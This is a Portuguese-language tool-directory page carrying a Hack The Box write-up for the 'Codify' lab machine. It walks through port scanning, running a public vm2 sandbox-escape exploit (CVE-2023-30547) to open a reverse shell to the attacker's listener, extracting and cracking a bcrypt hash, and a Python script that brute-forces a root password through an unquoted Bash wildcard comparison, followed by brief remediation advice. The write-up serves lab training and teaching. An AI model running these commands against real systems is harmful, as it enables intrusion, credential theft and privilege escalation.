Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Codify-TJNULL-OSCP- — Passo a passo para Codify (Linux - Fácil). Explora o RCE do vm2 (CVE-2023-30547), extração de hash do banco de dados SQLite, quebra de Bcrypt com John e Escalonamento de Privilégios por meio de comparação de curingas do Bash em `mysql-backup.sh`. | Kitploit
Ferramentas/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
Escalada de PrivilégiosAtaques de SenhaExploraçãoExploração de Aplicações WebColeta de InformaçõesCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
r3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Passo a passo para Codify (Linux - Fácil). Explora o RCE do vm2 (CVE-2023-30547), extração de hash do banco de dados SQLite, quebra de Bcrypt com John e Escalonamento de Privilégios por meio de comparação de curingas do Bash em `mysql-backup.sh`.

Ver Repositório
4há 1 mêsAinda não revisado

Hack The Box — Writeup da Máquina Codify

Difficulty OS Platform

Passo a passo completo de teste de penetração e writeup para a máquina Codify na Hack The Box.


📌 Informações da Máquina

CampoValor
NomeCodify
SOLinux
DificuldadeFácil
Conceitos-chavevm2 RCE (CVE-2023-30547), Enumeração de Banco de Dados SQLite, Quebra de Bcrypt, Abuso de Correspondência de Padrões com Curingas no Bash

🛠️ Resumo / Cadeia de Ataque

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 Fase 1: Reconhecimento e Enumeração

1. Descoberta de Portas

Varredura rápida de portas em todas as 65.535 portas TCP para descobrir serviços abertos:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. Detecção de Versões dos Serviços

Enumeração detalhada nas portas 22, 80, 3000:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 Fase 2: Acesso Inicial (Foothold)

1. Explorando o Escape de Sandbox do vm2 (CVE-2023-30547)

A aplicação web em execução na porta 3000 utiliza uma versão vulnerável da biblioteca de sandbox vm2 do Node.js.

Clone o repositório público do exploit:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. Execução do Exploit

Inicie um listener Netcat local na sua máquina atacante:

Bash

root@kitploit:~
ncat -lnvp 4444

Execute o exploit visando a aplicação web vulnerável:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

Verifique o shell de acesso inicial:

Bash

root@kitploit:~
whoami

🔎 Fase 3: Enumeração Interna e Movimento Lateral

1. Enumeração do Banco de Dados SQLite

Navegue até o diretório web /var/www/contact e inspecione o banco de dados SQLite:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

Extraia o hash bcrypt do Joshua:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(Pressione CTRL + d para sair)

2. Quebrando o Hash Bcrypt

Quebre o hash extraído usando o John the Ripper e o rockyou.txt:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. Acesso via SSH e Flag de Usuário

Autentique-se via SSH usando as credenciais quebradas do Joshua:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ Fase 4: Escalação de Privilégios

1. Enumeração de Privilégios Sudo

Verifique os comandos sudo permitidos para o usuário joshua:

Bash

root@kitploit:~
sudo -l

Saída: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. Analisando o Script de Backup

Inspecione /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

Vulnerabilidade: O script usa uma correspondência de padrão sem aspas no Bash ([[ $USER_PASS == $DB_PASS* ]]). Isso permite que curingas (*) na entrada do usuário realizem um ataque de força bruta caractere por caractere contra a senha real.

3. Extração Automatizada de Senha (Python)

Crie bruteforce.py para extrair a senha do root caractere por caractere:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

Execute o script para extrair a senha:

Bash

root@kitploit:~
python3 bruteforce.py

4. Flag de Root

Mude para o contexto do usuário root usando a senha extraída:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ Remediações e Mitigações

  • Atualize Bibliotecas do Node.js: Descontinuar ou atualizar bibliotecas de sandbox vulneráveis, como vm2 (CVE-2023-30547).

  • Scripts Bash Seguros: Sempre use aspas em variáveis em operações de comparação de strings ([[ "$USER_PASS" == "$DB_PASS" ]]) para evitar correspondência de padrão não intencional e injeção de curingas em scripts privilegiados.

Baixar ferramenta